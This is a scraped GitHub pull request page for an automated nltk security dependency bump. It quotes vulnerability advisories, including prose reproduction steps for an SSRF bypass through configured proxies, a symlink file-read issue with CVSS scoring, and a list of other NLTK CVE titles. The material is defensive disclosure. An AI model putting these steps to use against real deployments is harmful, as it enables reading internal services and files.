Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for FramenetCorpusReader and NKJPCorpusReader.
Not a bypass of a claimed fix. ipipan.py has never had security hardening applied, and has no dedicated test coverage at all.

CVSS v3.1

AV:L, AC:L: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.
PR:L: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.
UI:N: fires during routine, automated corpus processing, no separate victim action.
S:U: stays within the same process's existing privileges.
C:H, I:N, A:N: arbitrary file read only, no write, no crash.

Suggested fix

Route _get_tag() through nltk.pathsec.validate_path() with the corpus root as required_root, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.

Severity

CVSS Score: 6.8 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: pathsec SSRF protection can be bypassed when a proxy is configured

CVE-2026-78682 / GHSA-6ww7-3frv-cqxh

More information

Details

Summary

Current NLTK source reopens SSRF in proxied environments. pathsec.urlopen() validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.

Details

Vulnerability type: Server-side request forgery
Affected component: nltk.pathsec.urlopen, nltk.data.load, nltk.downloader.Downloader.index, nltk.downloader.Downloader.download
Affected versions: Current source v3.10.0-rc2; published 3.9.4 was a negative control and did not reproduce.
Patched versions: Not yet patched
Root cause: Proxy-handler inheritance disables _SafeHTTPHandler and _SafeHTTPSHandler, so the validated hostname no longer matches the actual egress destination.

The hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies ProxyHandler instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via pathsec.urlopen(), nltk.data.load(), Downloader.index(), and Downloader.download().

PoC

Preconditions

The runtime has an HTTP proxy configured and the caller relies on pathsec to keep network fetches SSRF-safe.

Steps

Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload.
Configure a proxy that forwards a validated public URL to that internal loopback service.
Call pathsec.urlopen() or nltk.data.load() on the public URL and observe the internal response is returned.
Instantiate Downloader(server_index_url=...), call index() and download(), and observe internal-only content is parsed and installed.

Minimal reproducible excerpt

{'urlopen': 'PROXY_TEXT_SECRET', 'data_load': 'PROXY_TEXT_SECRET', 'downloaded_file': 'INTERNAL_ZIP_SECRET'}

Impact

Consumers that trust pathsec as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.

Remediation

Preserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across pathsec.urlopen, nltk.data.load, and downloader fetches with a configured proxy.

References

Fix + attack demonstration (verified)

NLTK cannot pin the egress through a proxy, so it stops pretending to: under ENFORCE a proxied fetch is refused rather than performed unvalidated. Operators who trust their proxy opt back in with NLTK_ALLOW_PROXIED_URLOPEN=1 or `nltk.pathsec

❗ Important

✂ PR body was truncated to here.

…ckler RCE + CVE-2026-81723) Locked nltk was 3.10.1 (transitive via sacrebleu, eval extra). The prior bump only reached 3.10.1, missing two newer CVEs: - CVE-2026-71513 / GHSA-5gh2-94qg-qppq: AllowlistUnpickler validates the pickle module string but not the global name, enabling dotted-name resolution into arbitrary code execution. - CVE-2026-81723: inefficient algorithmic complexity (< 3.10.3). Re-locked (nltk 3.10.3, minimal 8-line diff preserving the tuna mirror). Evaluator suite (129 tests) passes on 3.10.3. Renovate PR #62 was not adopted: it regenerates the whole lock against pypi.org (1918-line rewrite discarding the project's mirrors.tuna index) rather than a clean security bump.

github-actions Bot added the @type/dependency label Sep 1, 2026

renovate Bot force-pushed the renovate/pypi-nltk-vulnerability branch from 78f6bea to 8581cf0 Compare September 7, 2026 18:06

chore(deps): update dependency nltk to v3.10.3 [security]

84a969c

renovate Bot force-pushed the renovate/pypi-nltk-vulnerability branch from 8581cf0 to 84a969c Compare September 15, 2026 13:42

renovate Bot changed the title ~~chore(deps): update dependency nltk to v3.10.3 [security]~~ chore(deps): update dependency nltk to v3.10.3 [security] - autoclosed Oct 11, 2026

renovate Bot closed this Oct 11, 2026

renovate Bot deleted the renovate/pypi-nltk-vulnerability branch October 11, 2026 00:15

Navigation Menu

Repository navigation

chore(deps): update dependency nltk to v3.10.3 [security] - autoclosed - #62

chore(deps): update dependency nltk to v3.10.3 [security] - autoclosed#62
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-nltk-vulnerability

renovate Bot commented Sep 1, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Conversation

renovate Bot commented Sep 1, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary

Details

Attack demonstration

Severity

References

NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)

Details

Vulnerability

Root Cause

Proof of Concept

Impact

Suggested Fix

AI tooling

Severity

References

NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input

Details

Summary

Details

PoC

Impact

Severity

References

NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars

Details

Proof of concept

Impact

Sibling

Severity

References

NLTK: Quadratic CPU Exhaustion in XMLCorpusView._read_xml_fragment()

Details

Summary

Details

PoC

Impact

Suggested Fix

Severity

References

NLTK: Downloader.download follows hardlinks and overwrites outside-root files

Details

Summary

Details

PoC

Impact

Remediation

Severity

References

NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'

Details

Root cause

Proof of concept

Impact

Fix direction

Severity

References

NLTK AllowlistUnpickler dotted-name validation bypass allows remote code execution

Details

Severity

References

NLTK CrubadanCorpusReader path traversal allows arbitrary file disclosure

Details

Severity

References

NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

Details

Summary

Affected code (nltk/corpus/reader/framenet.py)

Proof of concept

Why this is in scope

Suggested fix

Severity

References

NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely

Details

Summary

Root cause

renovate Bot commented Sep 1, 2026 •

edited

Loading

NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`

Affected code (`nltk/corpus/reader/framenet.py`)